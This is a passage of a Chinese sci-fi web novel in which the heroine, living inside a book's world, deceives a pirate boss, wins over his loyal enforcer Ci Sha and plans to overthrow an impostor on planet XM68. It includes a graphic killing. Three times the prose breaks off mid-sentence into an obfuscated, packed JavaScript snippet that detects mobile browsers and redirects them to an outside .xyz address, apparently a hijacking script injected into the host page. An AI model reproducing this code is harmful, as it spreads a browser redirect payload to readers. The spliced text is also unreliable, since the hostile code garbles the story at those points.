看见孟雨微，绿豆后仰，显然是吓了一跳。 孟雨微用衣服把脸包得严严实实，像为了遮阳手段狠辣的景区游客，只露出紫色的眼睛。 纵使AI换脸发达，两人还是谨慎地物理遮脸，这一刻，他们都被彼此的猥琐行事镇住了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588765|171782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你这是？”座头鲸的声音也做了处理。 “一些伪装。”孟雨微转移话题，“找我有什么事？” “摘掉你的面具。”座头鲸缓缓说。 一座很多疑的馒头。 孟雨微拆下脸上布包，露出和少女一模一样的脸，座头鲸这才放下心：“刺鲨在你身边吗？” “我把他支开了。” “刺鲨身上芯片的信号传输遇到了干扰，我暂时收不到他的位置信息，但刺鲨的生物信号没有消失。”座头鲸顿了顿，“你看过我给你的芯片了吗？” 座头鲸给刺鲨装了芯片？这是把人当宠物养吗？ 如果芯片能监测生物信号，那少女已经死掉的事，座头鲸知不知情？ 但座头鲸没挑明，他在催杀死刺鲨的任务。 孟雨微拿不准少女平时怎么和座头鲸说话，选择了下属回复领导的话术：“看过。出了些意外，我会尽快。” “不要让大家失望。”座头鲸面具下微眯的眼睛像蛇，“我不是来指责你的，聊些其他的吧。关于接近那名私生子，你有什么计划？” 孟雨微思考了一下，才反应过来私生子是指钟仪景。 她烦死了文化人，说话弯弯绕绕，一边给她压力，一边又装作和善，当她是傻子吗？ 孟雨微不能撕破脸，简单地把任务芯片里“入读诺亚72中，和钟仪景当好同学”的内容，用自己的话重新翻译一遍。 “是个很鲁莽，也很有创意的想法，或许它还不够完善，但我相信你的潜力，年轻人嘛，有冲劲不是坏事。”座头鲸笑了笑，话锋一转，“你说你已经有了诺亚72中入学通知。但是还有九天，帝国的中学就要开学报到了，你现在在哪里？” 他陡然加重了语气。 孟雨微不想告诉座头鲸XM68的事。 座头鲸每天盯着刺鲨的芯片数据，和变态似的，星网这么发达，有人在XM68借刺鲨的名义敛财，座头鲸会不知情吗？ “我已经在第三四星系交界处了。”她模棱两可地回复。 这是实话，但文化人会脑补成她在赶往帝国所在的第四星系。 “那就尽快。”座头鲸庞大的身体略微前倾，阴冷目光打量着她，“你……似乎变了。” 孟雨微心跳一滞，模棱两可地回道：“是吗？” 她脸上没写名字，座头鲸就算发现端倪，也不能冲出光幕压死她。 “或许吧，可能是我还不了解你。”座头鲸没看出端倪，轻叹口气，“坐在我这个位置，难免会多想。有些话我只能对你说，我能相信你，对吗？” 他的气质居然有些诡异的慈祥。 两人不会真是父女吧？他们的体型都快是两个物种了，星际时代没有生殖隔离吗？ “当然。”孟雨微笃定道。 座头鲸就尽管相信去吧，谁信她谁倒霉，沙鼠被她偷走了药，刺鲨刚被她抢走五千块。 “那刺鲨的事……”座头鲸压低声音。 “他对我已经不设防了。”孟雨微委婉地暗示，“他很疲倦，但坚持不去休息。” 座头鲸听懂了她的言下之意，似笑非笑：“刺鲨是我一手养大的，他很听我的话。” 果然是座头鲸教刺鲨不睡觉的，好一个黑心资本家。 眼见催进度的目的完成，座头鲸不再逗留，假情假意地关心了一下她，然后挂断了通讯。 孟雨微保存好录音文件，翻身上床，她总觉得自己好像忘了什么，但听座头鲸讲话太费神，她的后背已经被冷汗浸透，她大脑发麻，得先补回来。 凌晨三点，刺鲨带着一身夜晚的寒意推开门。 孟雨微睁开眼。 见她醒着，刺鲨说：“老大刚才联系我了，他说会派人来XM68接我们。” 孟雨微绝望地闭上眼。 她居然忘记刺鲨脑子不好了！ 7. 第 7 章 难怪座头鲸一点不着急地讲起废话，因为刺鲨对他有问必答。从孟雨微这里得不到的信息，找刺鲨问就行。 座头鲸已经知道他们在XM68了。 还好她敷衍归敷衍，没有胡编乱造。 孟雨微捏着眉心：“把你和座头鲸聊的内容告诉我。” 刺鲨当即复述，座头鲸只是嘱咐刺鲨听她的话，鼓励刺鲨多熬夜多作死，并问了他们在哪儿，和孟雨微告诉座头鲸的事差不多。 她越听越奇怪：“座头鲸没让你发坐标吗？” 座头鲸和她说过，信号干扰，他没收到刺鲨芯片的位置信息。 “没有，他只说会安排人来接我们。” XM68是星系航图都找不到的偏远垃圾星，座头鲸绝对知道XM68！ 那假刺鲨的事呢？ “他还说，你有九天就要开学报到了，让我们注意时间。”刺鲨想坐下，但床上全是孟雨微脱下来的圣诞树套装，他找不到屁股的落点，局促地站在床边，“没想到你还在上学。” “我也没想到。”孟雨微睡不着了，她收拾起散落的公主裙，“没事，错过的话正好辍学。” “这是任务。”刺鲨加重了语气，“你想被当成叛徒吗？” 刺鲨的态度有些奇怪，孟雨微心念一动：“你和他说余一的事了吗？” 刺鲨挑眉：“我以为你已经告诉他了。” 可喜可贺，刺鲨还没把她漏成筛子。 “你在违规养私兵。”刺鲨脸色彻底黑了，“你想死吗？” “余一他们怎么能算兵呢？你一个人包围了他们诶！”孟雨微严肃地伸出食指，晃了晃，“我是在救这群人的命！你明白的吧？世界是乱七八糟的丛林，有的人是大树，有些人是藤蔓，大树可以自由茁壮地生长，和别的树争抢土地和阳光。但藤蔓再怎么努力也突破不了树木的遮蔽，只有挂靠在大树上它们才能挺直腰杆享受太阳。我就是能让这群藤蔓活下去的树。” “可是，如果你不告诉老大，被当成叛徒的话……”刺鲨皱着眉，似乎是心有余悸，他没有再说下去。 闻名遐迩的绅士座头鲸，对自己人似乎极度严苛。 “我不会被当成叛徒。”孟雨微放缓语气，“我和座头鲸是父女，我的可以是他的，他的全是我的。我会告诉他XM68的事，但不是现在。” 她用刺鲨能理解的话解释：“你想，假货借你的名义抢钱，丢的是我们整个星盗团的脸。如果告诉座头鲸，会增加他工作量，还会让我们像遇到困难只知道告诉家长的小朋友。但如果我们把事情解决了再和他讲，就会显得我们办事能力强，还不会麻烦到他，你能明白吗？” 刺鲨愣了片刻，被说服了：“还是你想的周到。” “对于座头鲸，我们可以先斩后奏。”孟雨微顿了顿，“但我们是搭档，你不可以对我隐瞒。就像这次，你接到座头鲸的通讯，应该先问我什么该说什么不该说。” 和傻子相处多年的经验告诉她，歪理要拆开掰碎了讲，不厌其烦地讲。 “……我做错什么了吗？”刺鲨轻声问，他有些无措，像被狼群驱逐的幼小独狼，凶狠外表裹着层青涩。 孟雨微的歪理卡了一下壳，脑里只剩下脏话。 卖萌就可以不挨骂了吗？哪有这种好事！ “是的，你差点让我们变成座头鲸眼里没用的东西，你本可以做得更好。”她站在床上，踮脚拍了拍他的肩，“但没关系，你一个人做不到的事我们两个人做，我能让座头鲸对你刮目相看。我擅长思考，你擅长战斗，以后我当你的大脑，你来当我的小脑……” 孟雨微还想继续骂刺鲨脑子小，刺鲨却怔怔地望着她，眼眶逐渐红了，他的胸膛泛起透明涟漪。 孟雨微脸色一变，当即侧身，鲨鱼精神体如炮弹从她身侧掠过。 “你还挺精神，半夜遛鲨鱼是吧？”孟雨微一手抡起鲨鱼尾巴，一手把衣服塞到刺鲨怀里，“睡不着就帮我把衣服叠了，还有，我交代的事怎么样了？” “你让我问余一明天要杀谁，我就去了，她见到我吓了一跳，不过还是把叛徒的资料给我看了。”刺鲨兴高采烈地叠着衣服，“所有该死之人的脸我都记住了。” “真棒。”孟雨微将鲨鱼抱起来，像举着一只玩偶，另一手递给刺鲨一支营养剂，刺鲨连着包装嚼掉了。 刺鲨的腹肌下叽里咕噜的，还没吃饱，他有些不好意思地问：“还有吗？” “看你表现。”孟雨微有些好奇，“包装袋好吃吗？” “一股屎……塑料味。” “那你还吃那么香？”骗她一起吃吗？ 刺鲨吃完了接着叠衣服，但已经没那么兴致勃勃了，他对着衣服皱眉，神色像孟雨微听见领导要一个月做出GPT，充满不理解。 那是一件大蓬蓬裙。 孟雨微没上去帮忙，她没有驯服衣服的天分，只会把衣服揉成一团抹布，塞进衣柜或行李箱。朋友看了沉默，亲妈看了暴怒。 刺鲨比她叠得好多了，他甚至会将衣服卷成筒。面对蓬蓬裙，刺鲨采用了古法的三折叠技术：“大小姐，你别学我，我的体质能消化，你就不一定了。我是小时候吃不饱饭，得和别人抢，不管是什么东西，能抢到就得往嘴里塞，不然就会被别人抢走。饿肚子会没力气，会被别人弄死，我不想死，只能吃猪食。” 刺鲨平静地说：“等我有条件吃饱，能挑选食物时，我已经吃什么都是同样的味道了。” 如果吃什么都一股屎味的话，那病情还挺严重的。 孟雨微连忙将吐槽从脑子里轰出去，把帅哥美女和屎尿屁挂钩理应被判刑。 “虽然角斗场都挺烂的，但你原来那个角斗场烂得不同凡响，明明可以提供营养剂，却非要让你们像畜生一样抢猪糠，被全灭也是活该。”孟雨微掰着鲨鱼的牙齿，抬眸，“小时候吃不饱，难怪你的精神体喜欢啃人……” 她愣了愣，她的衣服整齐地码在刺鲨手上。外面的天已经黑了，月光落进他眼中，像一滴摇摇欲坠的眼泪。 “……你哭了？”孟雨微不可置信：她也没说什么催泪金句吧？ 她有把人弄哭的爱好，看他人落泪能舒缓压力。刺鲨莫名其妙地让她爽了一下。 “没有。”刺鲨深呼吸，“你能不能别给我精神体挠痒？我们共感。” “哦。”孟雨微的手稍微老实了点，忽然听见刺鲨说：“你说你是我的大脑，我能问你一件事吗？” “当然可以，但我不解答理财和情感问题，也不回答我喜欢爸爸还是喜欢妈妈。” 刺鲨眉眼放松些许：“从没有人敢在我面前提那个角斗场，因为我会杀了他们……但我不想杀你。就算我没有承诺过要保你的命，我也不会杀你。” “为什么？”刺鲨困惑道。 孟雨微心想：不想杀就不想杀，你哪来这么多为什么？你的精神体都快挂我身上了你装什么呢？ 她差点以为自己误入了感化与解开心结剧情，但刺鲨脸上没有杀气或柔软的感动，只有满满的求知欲，他是真的想知道答案。 他们现在是大脑和小脑的关系，刺鲨把思考交给了她。 这是撬座头鲸墙角的好机会。 “因为我说话好听，而且你不讨厌我，你明白了吗？”孟雨微瞟了眼终端，凌晨三点半，她在熬夜当幼教，“你是那种不允许自己有软肋，所以一旦有弱点就要杀掉的类型吗？” “我又不是神经病。”刺鲨听笑了。 刺鲨杀人如麻，血债累累，有着战士般的身躯，但他不杀人时还挺正常的。 “你之前说要保护我，执行我的所有命令，刚才又在思考杀我。你对座头鲸也这么说话？” “当然了！老大刚把我带回来的时候，说我有任何问题都可以找他，他也教了我很多东西。”说着，刺鲨有些惆怅，“但他越来越忙，我们的交流就少了很多。” 孟雨微也有些惆怅：座头鲸和刺鲨客气一下，刺鲨居然当真了。 孟雨微对他竖起大拇指，鲨鱼精神体高兴地啃了上来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588766|171782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有些话是不能对领导讲的……算了，解释起来很麻烦。”孟雨微想了想，“座头鲸是个大忙人，你以后有悄悄话可以找我说，别问他了。毕竟我们是大小脑嘛。” 刺鲨眨了眨眼睛，他露出某些困惑和无措表情时，会让孟雨微忽然意识到他还很年轻。 刺鲨问：“你不害怕吗？我和它随时都会攻击你。” 它指的是鲨鱼精神体，它已经在啃孟雨微手指了。 “你和大白会攻击我？”孟雨微觉得好笑。 “大白？”刺鲨表情古怪，“你给我的精神体起名字？” 《银河之星》的世界观里，精神体相当于人的器官，正常人不会给精神体起昵称，就像社会化程度高的人不会和自己的手当朋友。 “你的精神体是大白鲨。”孟雨微转移话题，“人们第一次具现精神体，都要借助激烈的情绪，大白是怎么出现的？” “……”刺鲨轻声呼吸，默许了她的叫法，“……我不想说。” “不想说就不说了。晚安，明天有的忙。”孟雨微往床上倒去，一个翻滚扎进被子里。 “你问我害不害怕你，这是三个问题。你想问的其实是我怕不怕死，怕不怕你的力量，还有怕不怕你的性格。首先，我怕死，但能接受死。其次，我喜欢力量，如果力量能为我所用我会更喜欢，就算是全宇宙最大的反派我也喜欢。” 她是真的喜欢全宇宙最大的反派暴君钟仪景，因此情真意切。 “最后，你听我话时还挺正常的，我如果接受不了你的性格还要招惹你，那是我犯贱。就算你违背我的命令，害死了我，那也只说明我眼光不好，我和你都有问题，你明白吗？”孟雨微迷迷糊糊闭上眼睛，“不行，今天的哲学含量太多了，我真要睡了。你要是还想听我夸你，下个月发了工资再来聊付费的吧。” 很久都没有人再说话，孟雨微的呼吸逐渐均匀。 “有次行动，我替你爸爸断后，我的机甲突然坏了，通讯也被干扰。”黑暗里，刺鲨忽然轻声开口，缥缈得像来自另一个世界。 “我受了重伤，动不了，那群傻叉把我从驾驶舱拖出来，在我身上试刀，想看我受多少伤流多少血才会死，我的胳膊就是那时候断的。星盗们对我吐口水和撒尿，骂我是老大的狗，可我本来就是老大的狗啊。” “我本来想就这么死了算了，反正你爸爸他安全了，我的任务完成了。但他们骂他，说他抛弃了我，是无耻小人，还当着我面讨论要怎么拧下他的头。我很生气，我这条狗还没死呢！怎么敢越过我去找老大？” “然后我的精神体就出现了。”刺鲨顿了顿，“我赢了，通讯恢复，老大过来接我。他送了我一条机械臂。” 刺鲨语气柔软得像在念幸福的童话，大白在孟雨微怀里拱了拱。 孟雨微听得有些不忍，恐怕机甲坏掉和座头鲸有关，刺鲨被抛弃确有其事。 她又想起了她老家那条大狗，它叫大白，用一根脏兮兮的短链锁着，毛像拖布墩子似的粘在一起，变成脏污的灰色。风吹雨淋它都被关在院子里，许多个晚上孟雨微都听着它的悲泣与呜咽，但等到太阳升起，它又会摇着尾巴对主人笨拙撒欢。 有时候主人受不了它的过分热情，会对它色厉内荏，拳打脚踢，有时候主人又会放开链子，让它出门跑一会儿，但它从没逃跑过，总会回家。 最后主人家来客人了，它变成了一锅热乎乎的肉汤。 大白，你为什么要喜欢一个没那么喜欢你的人呢？ “你……”孟雨微嗓音含混，“你说什么？” “没什么。”刺鲨扯了扯嘴角，他的茫然柔软一扫而空，又变回了白天那个不可一世的超A级单兵，“行了，睡吧，我守夜。” ＊＊＊ 刺鲨的精神体原型是大白鲨，初次具现是在他的十八岁生日，它和机械臂一样是他的生日礼物。那时的他还不是「破坏」和「背叛」的赤王，但精神体的情绪底色都与这两个词有关。 ——《银河之星设定集》节选，一粒种子著 8. 第 8 章 孟雨微正休息着，倚墙而坐的刺鲨忽然起身。 “嗯？”孟雨微困极了，只能发出单音。 “有动静，我去看看，很快就回来。” 孟雨微怀里一松，大白回到了刺鲨身边。她半梦半醒看见时间是4：03，理智和懒惰在打架，但没了刺鲨，她敢独自在陌生环境失去意识就是纯犯傻了。 啪！ 她抬手给了自己一巴掌，总算把自己扇醒。 孟雨微猛地从床上爬起来，对上床前刺鲨的复杂视线，透过遮光帘缝隙，她能看见外面天色大亮。再看眼终端，4：50。 她就不该相信眯一会儿，上大学时她在闹钟响后眯了一会儿，错过点名，工作后她还是眯，扣了几次全勤奖后，对钱的热爱超越了对睡眠的渴望，她再没迟到过。 她证明了人类能克服生理本能，是高级生物。 刺鲨欲言又止，高级生物孟雨微决定装作无事发生，高级地避过不谈：“外面发生了什么？” “余一的妹妹提前回来了，那个名单上的叛徒，叫独眼鹰的傻缺想带走她，两拨人吵了起来，现在准备换地方吵。” “做好准备，余一马上要来喊我们了。” “好啊，我等不及活动筋骨了。”刺鲨眼神热切，“哦对，独眼鹰有激光手枪，你准备给谁？” “你优先挑走顺手的。”刺鲨是她这边唯一拿得出手的战力，当然要资源倾斜。 刺鲨满意了。 不知道是不是夜谈的原因，孟雨微觉得刺鲨似乎更信任和黏她了。 如孟雨微所说，没过多久，急促的敲门声响起，刺鲨打着哈欠去开，沙鼠面红耳赤地喘气，两人都顶着硕大的黑眼圈。 沙鼠急忙道：“假货的船出现在大气层了！头儿让我来叫你们。” 现在的头儿其实是孟雨微，以防打草惊蛇，她没让改口。 假货和他们几乎前后脚到来，比余一预计的提前五天。 座头鲸刚和他们通完讯，假刺鲨就来了，世上会有这么巧的事吗？ 孟雨微抱起床头叠得整齐的公主裙走出门，沙鼠忽然一愣，灼热目光几乎要把她脸上的巴掌印烧出洞来：“谁打你了？” “抱歉，让你白高兴一场。没人揍我，是我自己打的，太早了，起不来。” “……什么时候了还在开玩笑，你当抗击星盗是儿戏吗？” “我很认真。”孟雨微将所有衣物递给沙鼠，“我拿这些换你的药，越毒越好。” 她记得沙鼠说过这些裙子都是牌子货。 “假货怕老师毒死他，严格限制药物流通，你昨天偷走的已经是最好用的了。”沙鼠的脸本就因烧伤和长期沙漠生活显得五光十色，现在更是出于羞恼变得姹紫嫣红，“你笑什么？这里又不是医疗资源充足的大星球！还是你在嘲笑我能被你偷东西？” 回到镇上后，孟雨微把东西还给了她，她确认过没有遗漏，但回到家，好几样重要的药物不见了。沙鼠害怕这两个人，又咽不下这口气，翻来覆去了一晚上，此刻忍不住问出心中所想。 “你看，你又想气死自己了。我只是友善地微笑而已，你就脑补这么多。”孟雨微厚着脸皮，“你要是咽不下这口气，我向你道歉，顺手就偷了，我这不是先上车后补票了吗？你就别计较了，快和我说说这些药的作用。” 沙鼠一噎，她很不爽，但眼下有更要紧的事。 “想骂就骂，我就当是听诗朗诵了。你骂人真的很有创意，文化水平很高。” 沙鼠抢过衣服，骂骂咧咧地教她区分药物。这小孩很聪明，不骂在场有能力伤害她的人，言辞之过激，文采之斐然，令孟雨微仿佛在看电竞比赛般身临其境。 . 沙鼠快速领着二人走上一座低矮的山，山洞装了门，激烈的争执声从门后传来。 “余一，你居然瞒着老子去捡星船？”这是个咯痰般的男声，“刺鲨大人让我当老大！不是你！你还真把自己当个人物了？要不是我顶在前头，你以为刺鲨大人会允许你妹妹出门吗？” “我没听错吧？”陌生的清丽女声哎哟哟地叫唤着，“你独眼鹰什么力都没出，颠倒黑白揽功劳倒是擅长。我能去外星是因为我自愿安装芯片炸弹，我随手一单能赚你努力捡十年垃圾都赚不到的钱，你算个什么东西？” “余双！你要是这么有种你怎么不把弟兄们的保护费全交了？” “你还发号施令上了？要不是我姐救了你，你以为你有站在这里满口喷粪的机会？你独眼鹰可太有种啦，当初刺鲨来收保护费，那么多窝囊的人反抗，就你勇敢，你溜进反抗者家里把他们的钱都卷走啦！他们尸骨无存，你倒是发了笔横财，不但凑够自个儿的买命钱，还有一批臭味相投的弟兄，总算能狗仗人势，挺直腰杆骂我们啦！” “你——！” “你什么你？你这么卖力地摇尾巴，刺鲨有夸你好狗狗乖狗狗吗？”余双嗤了一声，“摇尾乞怜的傻狗。” 砰！ 一声枪响，独眼鹰暴怒道：“臭婊子，你找死！” “我吊你个忘恩负义的独眼鹰！”沙鼠猛地推开门想冲进去，孟雨微眼疾手快揪住了她的衣领，她在孟雨微手里扑腾，“我日你大爷！*$#^*&%！” 屋内的拾荒者都扭头看向门口，个个穿的像垃圾袋走秀似的，孟雨微一眼看见和余一长得一模一样的女人，余一搀扶着她，她双麻花辫凌乱垂下，半跪在地，手捂着腹部。 孟雨微嗅到了烤肉的香气。 “有护盾腰带，你别急……”女人抬头看向沙鼠，话卡在喉咙里，右侧机械义眼里的光亮小圈不可置信地暗了暗。 不只是她，所有看过来的人都僵住了。 因为刺鲨立在她们身边。 戴着单边眼罩的老叔嚣张地举着激光手枪，模式是红光，低能耗，高射速，这应当就是独眼鹰了，他身后的拾荒者看起来都不是好鸟。 独眼鹰瞥向门口的瞳孔一缩，但手里的枪依然稳稳地指着大块头，这是之前被刺鲨当面团扔的胖子，他今天全副武装，护着身后受伤的余双，余双周围是越野车上的熟面孔。 两波人泾渭分明，逆光中，刺鲨的影子宛如庞大的怪物，在他们中划出一条分界线。难言的恐惧在洞内弥漫，像给电影按下暂停键，所有人都定格了。 “刺鲨。”孟雨微的声音犹如导演权威的指令，沉重地回荡。 刺鲨向前踏了一步，洞内依然一片死寂。似乎只要刺鲨在，光和热就不敢越过他。 “刺鲨大人，您来了！”独眼鹰欣喜若狂，“快把这些贱人杀了，她们背叛——！” 下一刻，刺鲨如一道闪电，抬手间一声轰然巨响，他按着独眼鹰的脑袋，将男人掼入山壁，独眼鹰未说完的话化作凄厉惨叫，蜘蛛网般的裂痕以他为圆心层层炸开，粉尘与石块簌簌掉落。 在孟雨微以为山洞要撑不住倒塌时，刺鲨松开手，独眼鹰被嵌在了石头里，他的脑袋没完全碎裂，口鼻耳都在惨烈地流血。 他的眼球几乎脱出眼眶，不可置信地看向刺鲨，张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588767|171782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了张嘴，似乎想问为什么，呕出来的却是类似血液和脑浆的混合物。 然后，他仰面朝地，倒下了。 他死了。 死寂，唯有死寂。 腥臭中，有人忍不住“哇”地吐了出来。 独眼鹰背后的手下反应过来，他们尖声惊叫，下跪求饶，更有人迅速地向门口跑来，孟雨微当机立断拉走沙鼠，把门在叛徒面前合上。 有身体重重地砸在门上，洞内的声音像在锤打肉泥，惨叫很快就平息了，只剩下此起彼伏的呕吐声。 孟雨微推开门，匆匆扫了眼屋内场景，很好，她也想吐了。 尽管早有准备，孟雨微还是手脚冰凉，一阵恶心，她不断对自己说，这是书里的世界，大家是纸片人。 余一不愧是学医的，脸色没半分变化，已经开始安排人收拾残局了。 等孟雨微压下呕吐欲，余一已经派人将独眼鹰的派系拖走了，只留下一个卸掉四肢的活口，用来拷问假刺鲨的情报。 她将惊魂未定的众人换到新的屋子。刺鲨在擦手，没有人敢看他。 超A级的强攻单兵，绝对的统治和震慑力。 孟雨微环视屋内：“核心成员都在这里了？” “是的，我来解释吧。”单麻花辫的余一对众人讲了真假刺鲨的事。 “我听懂了。”余双紧张地捋着自己的双辫，看向孟雨微，“老大，我可以这么喊你吧？假刺鲨这次收我们一个亿，怎么办？” 孟雨微：“我们有这么多钱吗？” “好问题，答案是没有！”余双刚吐完，神清气爽地指了指自己，“不过把我卖了就能一笔勾销了。那群假货一直对我的能力很感兴趣。” “他们知道了你晋升超A级机械师的事。”余一笃定地说，“他们给你植入的芯片，是飞廉科技的新款，它能检测你的身体数据。” “哇哦，联邦十人议会之一的飞廉科技！”孟雨微鼓掌，脸色忽然凶厉，“余一，你之前在车上说你妹妹是A级，现在又说是超A，你还说假货五天后才会来收保护费，但结果呢？你到底隐瞒了多少？能不能给个准话？” 气氛凝滞，刺鲨上前一步，脸上带着漫不经心的笑。 屋内众人抖了抖，有人面部痉挛，又想吐了。 “余双半小时前才回来，我也是那时才知道的。”余一直视孟雨微，这是一双饱经风霜的眼睛，“我没有必要骗你，我甚至不知道我能不能骗过你。” “而且，如果我怀疑你，一开始就不会带大家加入你的麾下。你拥有发育期智人的外表，心智却是成人的。沙鼠的脑瘘剂对你没用，大名鼎鼎的刺鲨也听从你的命令。你有很多秘密，甚至笃定我们对你有价值……你想成为我们的主人，是因为预料到了余双会晋升吧？但这些并不重要。” “因为我已经选择了你。”余一缓缓说，“如果我选错了，那也是我来承担后果。” 这个一直收敛锋芒的女人，第一次流露出沉重的气势，像旱灾中带领象群迁徙的首领，山一样地背负着整个族群的存亡。 难怪狂妄至极的赤王会听这对姐妹的话，她们弥补了赤王脑子小的问题，并且坚定相信自己的首领，哪怕首领会带她们走向灭亡。 “你说话真好听，这次我原谅了。”孟雨微抬手示意刺鲨退下，她面向众人，“都坐下吧。我是你们的新首领，你们可以叫我杖毙，这个词的意思是将人活活打死。” “接下来，我将分享我们活、他们死的计划，各位可以开始做笔记了。” 9.第 9 章 根据拾荒者们给出的信息，孟雨微推演了敌我两方的实力。 已知一年前，假刺鲨带着近四十名星盗霸占了XM68。曾有一名超A级的强攻单兵组织起反抗军，他是帝国的逃兵，但不敌假刺鲨。 因为假刺鲨掏出了机甲，还是B级机甲。 人和机甲相比，就像功夫大师面对大货车，不管将肉/体淬炼得多极致走位多风骚，都会被拍成泥。 在假刺鲨的残忍手段下，镇上从3400多人缩减到1600多人，还都是小弱病残。除了余一和余双这俩A级，没有其他的职业者。 姐妹俩的体质约在B和C之间。作为辅助类职业者，偏科很正常，她们的其他四维数据，即精神力、专业理论、专业实操、战斗技巧的评级应该相当漂亮。 然而正面战场最需要的就是体质，但这破地方就连D级体质都能排得上号。 D级体质是什么概念？ E级是普通健康人水准，D级比E强一些，身体水准大于等于长年受训的地球军人，恢复速度是普通人的1.5-2倍。 乍一听似乎还行，但孟雨微这具身体13岁，中学录取只看体质和精神力，她入学档案里的体质就是D级。 而假刺鲨是至少A级的强攻单兵，作为四大进攻类职业中最凶悍的战士，想要晋升A级，他的体质必须优于A级。 需要注意的敌人除了他，还有一名藏在暗处的数据猎人，一种非常猥琐的进攻类职业。 数据猎人有点像侦察兵和黑客的结合体，会借助无人机等器械探路，收集分析信息，也攻击敌人防火墙窃取情报，并加密己方频道。 在一年前，假刺鲨登陆时，先他一步到达镇上的，便是井然有序的无人机群。这一年里机群都表现得很通人性，幕后的这名数据猎人至少有A级。 看完对面，再回来看己方。 沙鼠是鸟语花香吉祥物，其他小弱病残们更是指望不上。 余一是负A级治疗师，但假刺鲨严格限制了XM68的药物流通，余一只能在监视下生产安全的药物，抵销保护费。沙鼠攻击孟雨微的脑瘘剂是她偷偷藏起来的一点，用完就没有了。 余双精神力有超A级，能够具现精神体，她的精神体是一只粉色章鱼，孟雨微只看了一眼就心叫完蛋，余双完全控制不了它。这章鱼八条腿拧成了麻花，余双和章鱼扭打了半天才把它收回去，因共感疼得自己直抽气。 孟雨微倒是想让余双发挥原著创造机械军团的才能，但XM68穷得砸锅卖铁，残疾人都把自己的义肢拿去卖了，她手再巧也没法凭空变台炮出来。 而且，余双的心脏被安装了芯片炸弹，敌人能远程遥控它在余双体内炸开。超A级的她虽然具备拆除能力，但只要动手，敌人就会收到警告，然后让芯片爆炸。 尽管超A级机械师是假货想要的摇钱树，但当余双会威胁他们性命时，敌人肯定不会手软。这也是余双没带大型武器回XM68的原因，敌人太多疑，她的账户也被监控着，买武器会被发现。 到头来，能用的只有睡眠不足的刺鲨，还有效果不明显的强化药剂——不能雪中送炭，只能锦上添花。 无论是战斗人员的数量还是素质，孟雨微这边都拼不过假货。 刺鲨倒是想从镇上打到护卫舰，一人包围对面四十人，被孟雨微驳回了。A级体质能超越人类极限，但她敢肯定，就算刺鲨侥幸能赢，也会半死不活，然后变成和原著赤王一样的机械改造人。 赤王的机械义眼、心脏和双腿，在男主裴青山眼中全是破绽。 赤王阵营的所有人都将是孟雨微的资产，她想借助他们找到回家方法，并在回家前恣意生活。如果这些人有损伤，她会在未来的某天陷入被动。 孟雨微烦得要命，眼下的局面连田忌赛马都不算，对面掏出机甲、强攻单兵，数据猎人三匹上等马，她这边全是王八。 假刺鲨背后很可能还有座头鲸，她想打漂亮的胜仗，就得避开正面交锋，偷走敌人的机甲。 听起来很有挑战，但本就是逆风局，试试也没什么损失，要是情况不对，她就只能对不起刺鲨了。 . XM68，镇子广场。 镇子没有名字，因为XM68只有这一处聚集地，大家都是凑合着过日子，懒得起名。同理，唯一的广场也没有名字。 说是广场，也不过是大点的空地。 今天的空地很热闹，摆满了药箱，红发男人坐在中央沙发上，靴尖不耐烦地点地，更多的箱子被搬运到他面前。他们的护卫舰会接手XM68过去一个月生产的物资，再通过黑市卖出好价钱。 无人机群在天空盘旋，冷冰冰地将枪口与摄像头对准每一名拾荒者，近20名荷枪实弹的星盗据守着镇子的交通要道，人和机械将这里堵得插翅难逃。 红发男人神经质地抚摸着中指的戒指，靴尖点地的速度越来越快，忽然，他停住了，抬头看向朝他走来的女人，眼神暴戾。 他记得这女人叫余一，是个负A级的治疗师，胆小怕事，爱当和事佬，一年前反抗军差点让他脸面尽失，他想屠镇给这群垃圾一个教训，是这女人带着垃圾们投诚，平息了他的怒火。 作为首领，她不够格，但当这群废物的老大，正好。 瞧，仅仅是三台无人机和四名星盗转向她，就能逼她停在安全距离，不敢再上前一步。 她温驯地对他低头：“刺鲨大人，这些就是全部了。” 他很讨厌刺鲨这个名字，本就烦躁，此刻更是发出了暴怒的吼声：“你在耍老子？” 余一缩了缩脖子：“抱歉……刺鲨大人，离原定的月末还有五天，按原本的排期，是可以赶上……” “你在怪老子没通知你？”他打断了余一的话，换作平时，他定要学着刺鲨的样子，奖励女人几个枪子吃。但他有所顾虑，他的目光四处搜寻，手再度覆在中指的红色指环上。 这是一枚空间戒指，运用了十一维超弦空间折叠技术，能在三秒内释放出一台机甲，它是他最大的底气。 同伴意识到了他的焦躁，一架无人机飘到余一面前，发出怀疑的机械音：“怎么只有你，独眼鹰呢？” 